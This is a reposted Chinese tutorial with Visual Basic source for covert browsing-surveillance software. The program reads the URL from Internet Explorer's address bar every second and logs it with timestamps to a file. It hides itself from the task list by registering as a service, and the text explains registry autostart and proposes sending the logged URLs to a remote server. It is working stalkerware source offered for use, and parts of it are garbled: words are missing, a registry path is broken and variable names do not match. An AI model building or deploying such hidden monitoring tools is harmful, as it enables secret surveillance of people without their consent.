一個用VB編寫的監控別人上網的軟體例子 (轉)

一個用VB編寫的監控別人上網的軟體例子 (轉)[@more@]一、核心

　　本程式的核心是透過獲得視窗控制程式碼並獲得訪問的網址，在此基礎上可以實現用Winsock進行的監視和管理。

　　1.先建立一個工程並在視窗Form1中，並宣告下面的四個API函式和兩個常量：

　　Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String， ByVal lpWindowName As String) As Long

　　′Findwindow函式的功能是找到當前執行的IE視窗的url地址的控制程式碼

　　Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long， ByVal wMsg As Long， ByVal wParam As Long， lParam As Long) As Long

　　′SendMessage函式的功能是向操作傳送一條訊息

　　Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long，ByVal hWnd2 As Long， ByVal lpsz1 As String， ByVal lpsz2 As String) As Long

　　′FindwindowEx函式的功能是找到子窗體的控制程式碼

　　Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long， ByVal wMsg As Long， ByVal wParam As Long， ByVal lParam As String) As Long

　　Private Const WM_GETTEXT = ＆HD

　　Private Const WM_GETTEXTLENGTH = ＆HE

　　2.在窗體上新增Command控制元件，並命名為GetURLstring，單擊此命令按鈕，併為其新增下面的程式程式碼：

　　Private Sub GetURLstring_Click()

　　On Error GoTo CallErrorA

　　Dim sClassName As String ′設定一個字串變數，是類變數

　　Dim lhwnd As Long ′設定一個長整形變數用來接收函式返回值

　　Dim WindowHandle As Long ′設定一個長整形變數用來接收函式的返回控制程式碼

　　lhwnd = 0

　　sClassName = (″IEFrame″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得URL位址列的控制程式碼，獲得IE視窗的控制程式碼

　　sClassName = (″WorkerA″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得IE視窗的工作區的控制程式碼

　　sClassName = (″ReBarWindow32″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得IE視窗的選單欄的控制程式碼

　　sClassName = (″ComboBoxEx32″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得IE視窗的下拉選單的控制程式碼

　　sClassName = (″ComboBox″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得IE視窗的下拉選單當前項的控制程式碼

　　sClassName = (″Edit″)

　　lhwnd = FindWindowEx(lhwnd， 0， sClassName， vbNullString) ′獲得這個下拉選單的編輯框控制程式碼

　　WindowHandle = lhwnd ′接收當前我們想要的控制程式碼

　　Dim buffer As String ′設定字串變數接收當前的字串

　　Dim TextLength As Long ′設定長整形變數接收字串的長度

　　TextLength = SendMessage(WindowHandle， WM_GETTEXTLENGTH， 0＆， 0＆) ′向系統傳送獲得IE視窗的位址列中的字串長度命令

　　buffer = String(TextLength， 0) ′

　　Call SendMessageByString(WindowHandle， WM_GETTEXT， TextLength ＋ 1， buffer) ′向系統傳送獲得IE窗體位址列中的字串命令

　　If buffer = ″″ Then

　　MsgBox ″ InteExplorer瀏覽器沒有執行.″， vbOKOnly

　　Else

　　MsgBox buffer ′IE執行時顯示當前網址

　　End If

　　Exit Sub

　　CallErrorA:

　　MsgBox Err.Description

　　Err.Clear

　　End Sub

　　二、新增定時儲存功能

　　我們對上面的程式稍作改動，即可實現定時把當前訪問的網址儲存到，這樣就為我們進行提供了保證。

　　1．在窗體上新增Timer控制元件Timer1，並將其屬性Interval設定為1000，雙擊此控制元件，定義程式碼如下：

　　Private Sub Timer1_Timer()

　　GetURLstring_Click

　　End Sub

　　2． 在窗體程式碼開始的宣告部分定義變數curUrl

　　Dim curUrl As String

　　3．用檔案操作函式把Buffer變數中的字串寫進檔案中，新增程式碼如下

　　Private Sub Form_Load()

　　Open App.Path ＆ ″TestFile.txt″ For Output Access Write As ＃1 ′開啟一個檔案End Sub

　　Private Sub Form_QueryUnload(Cancel As Integer， UnloadMode As Integer)

　　Close ＃1 ′關閉開始開啟的檔案

　　End Sub

　　並把GetURLstring_Click()中的如下部分

　　If buffer = ″″ Then

　　MsgBox ″MicroSoft InternetExplorer瀏覽器沒有執行.″， vbOKOnly

　　Else

　　MsgBox buffer ′IE執行時顯示當前網址

　　End If

　　改為如下程式碼:

　　If buffer <> ″″ And buffer <> curUrl Then

　　Write ＃1， Now ＆ vbTab ＆ buffer

　　curUrl = buffer

　　End If

　　三、隱蔽執行

　　為了防止執行在客戶端的程式被發現，可以把窗體隱藏，並API函式讓其在Ctrl＋Alt＋Del的程式列表中消失，需要把自己的程式註冊為（Service），這可以利用RegisterService API函式將程式的程式ID進行註冊來實現。在程式退出時再次使用此API函式將伺服器註冊取消。方法如下：

　　1.在窗體的宣告部分宣告加入API函式和需要的常數：

　　Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long

　　Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long

　　Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long， _ ByVal dwType As Long) As Long

　　Private Const RSP_SIMPLE_SERVICE = 1

　　Private Const RSP_UNREGISTER_SERVICE = 0

　　2.註冊為service和釋放註冊的過程：

　　在Form_Load事件的開始新增如下程式碼

　　Dim pid As Long

　　Dim reserv As Long

　　pid = GetCurrentProcessId() ′得到當前程式ID

　　regserv = RegisterServiceProcess(pid， RSP_SIMPLE_SERVICE) ′把本程式註冊為service

　　把Form_QueryUnload事件修改為如下程式碼，即在程式結束時把伺服器註冊取消

　　Private Sub Form_QueryUnload(Cancel As Integer， UnloadMode As Integer)

　　Dim pid As Long

　　Dim reserv As Long

　　Close ＃1

　　pid = GetCurrentProcessId()

　　regserv = RegisterServiceProcess(pid， RSP_UNREGISTER_SERVICE)

　　End Sub

　　如果讓程式開機執行，需要先把檔案編譯為可檔案放到特定目錄下，並修改登錄檔讓其開機便執行，路徑是HKEY_LOCAL_MACHINESoftwareMicrosoftCurrentVersonRun，用API函式在裡面寫入個字串型的鍵值，並把內容修改成為你的檔名(包括路徑)即可，當然，更為實用的功能是把訪問的網址資訊定時傳送到伺服器，需要用到Winsock控制元件和定時傳輸。